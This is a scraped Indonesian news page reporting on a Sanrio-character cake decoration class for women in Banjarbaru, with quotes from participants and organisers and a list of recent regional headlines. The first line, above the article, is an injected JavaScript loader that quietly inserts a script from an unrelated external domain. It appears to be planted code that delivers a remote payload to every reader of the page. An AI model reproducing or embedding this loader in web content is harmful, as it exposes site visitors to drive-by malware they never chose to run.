(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Dekorasi Kue Berkarakter Sanrio Mengisi Waktu Luang


KANALKALIMANTAN.COM, BANJARBARU – Pertama di Ibu Kota Provinsi Kalimantan Selatan, Cake Decoration Class berhasil menarik perhatian puluhan perempuan yang menghabiskan waktu akhir pekan di Surya Coffee Banjarbaru, Minggu (19/10/2025) sore.

Dekorasi kue yang terlihat menawan jadi alasan utamanya. Kue-kue utuh (whole cake) berhias fondant digubah para peserta dengan berlatarkan 3D Sanrio Characters.

Bukan sebuah kompetisi mencari yang terbaik, melainkan panggung yang membuka kesempatan bagi siapa saja, berkreatifitas di bidang kuliner bakery.

Baca juga: Wali Kota Banjarmasin Tak Sebut Bonus Atlet, Imbas Pengurangan Transfer Pusat ke Daerah

Dari 20 perempuan yang menjadi peserta, ada Nana dan Lisa ikut menunjukkan sisi kreatifnya dalam mendekorasi kue.

“Sebenarnya gak ada kerjaan aja kan hari Minggu, terus ada lihat informasi tentang kegiatan ini dan kayanya asik jadi ikut aja,” ujar Nana salah satu peserta dekorasi kue.

Mahasiswi Stikes Husada Borneo ini mengatakan peserta ditantang membuat dekorasi kue menggunakan fondant dalam waktu dua jam.

Sekadar diketahui, fondant adalah bahan dekorasi kue yang dibuat dari campuran gula halus dan mentega putih atau tawar. Mirip seperti lilin plastisin mainan anak-anak. Fondant umum digunakan sebagai penutup dan bahan dekorasi lain dalam kue.

“Pas SMK jurusan tata boga jadi memang ada ketertarikan dekor kue. Tadi bikin kue My Melody. Bahan-bahannya pakai buttercream sama pakai fondant buat My Melody,” ungkapnya.

Semua hiasan kue dibuat dari nol dalam kegiatan ini. Mulai dari lapisan terluar yang menutupi kue hingga detail berupa karakter berukuran kecil, medium, dan besar dengan berbagai warna pastel.

“Ternyata enggak sesusah yang dikira sih sebenarnya. Mudah aja,” sambung Nana.

Baca juga: Berkekuatan 1.547 Orang, Kontingen Banjarmasin Target Juara Umum Porprov XII Kalsel

Sementara Lisa yang mengisi waktu libur dengan mendekorasi kue, sekaligus juga menjadi sarana refreshing dirinya setelah sepekan berutinitas.

“Kalau aku sih karena pas libur kan, terus pengen healing-healing, refreshing gitu jadi ikut ke sini juga. Kebetulan satu sekolah juga satu jurusan tata boga jadi tertarik, biasanya lebih ke kue kering, bukan ke kue-kue gini,” ujar Lisa saat diwawancarai.

Menurutnya di kegiatan ini, peminat hingga pelaku industri kreatif dapat belajar lebih banyak dan mengasah mental agar tidak mudah menyerah, untuk dapat menghasilkan ide dan karya-karya.

“Kalau menurut aku yang gak pernah megang kayak gitu susah tapi, seru, soalnya teman-temannya juga pada struggling juga. Jadi menambah pengetahuan skill juga,” ungkap dia.

Baca juga: PKS Banjarbaru Melantik Pengurus DPC Kecamatan se Kota Banjarbaru

Lisa pun berharap kegiatan positif ini dapat lebih banyak diselenggarakan di Ibu Kota Kalimantan Selatan.

“Harapannya sih ada lagi ya, soalnya seru kan. Mungkin ini baru pertama kali, tapi ke depannya semoga lebih banyak lagi, dan siapa tahu bisa ikut lagi,” harapnya.

Dengan tema Sweet Escape 3D Character Cake Decoration yang diinisiasi oleh mahasiswa BEM Stikes Husada Borneo di Banjarbaru ini bertujuan memperkenalkan seni menghias kue yang menyenangkan dan edukatif.

Melalui kegiatan ini, Aisyah selaku Ketua Panitia sekaligus Mahasiswa Jurusan D-III Perekam dan Informasi Kesehatan mengaku, ingin para perempuan di Banjarbaru lebih berdaya lagi dengan menambah pengetahuan mendekorasi kue.

Baca juga: Dialog Demokrasi Bahas Penguatan Lembaga Pengawas Pemilu

“Pesertanya ada 20 orang umum dan mahasiswa, Sebenarnya kalau target awal kami itu cuma 15 peserta. Alhamdulillah jadi sampai 20 peserta. Bahkan ada yang mau daftar juga baru hari ini tapi kita sudah close pendaftarannya,” ujar Aisyah.

“Kegiatan kali ini juga istilahnya untuk pelarian perempuan, untuk mencarikan kebahagiaan mereka mungkin kak, lewat dekorasi kue ini atau dengan kegiatan-kegiatan positif,” sambung dia.

Selaku penginisiasi kegiatan BEM Stiker Husada Borneo berkolaborasi dengan Fun Loving Friends (FLF) yaitu komunitas Creative Class atau kelas kreatif pertama di Kalsel.

Melalui kelas kreatif FLF menampilkan sejumlah tutor mendekorasi kue dalam kegiatan kali ini. Mereka juga berkolaborasi dengan Wardah Beauty Banjarmasin, Nusa Indah Cosmetic hingga Linlin Florist.

“Untuk biaya pendaftaran sebelumnya itu berbeda kalau untuk umum Rp185 ribu, kalau untuk mahasiswa itu Rp165 ribu, sudah dapat sertifikat, free drink, bunga, goodies bag dan ada souvenir dari BEM yaitu tumbler,” tutup Aisyah. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

1 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

7 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

21 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

23 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

This website uses cookies.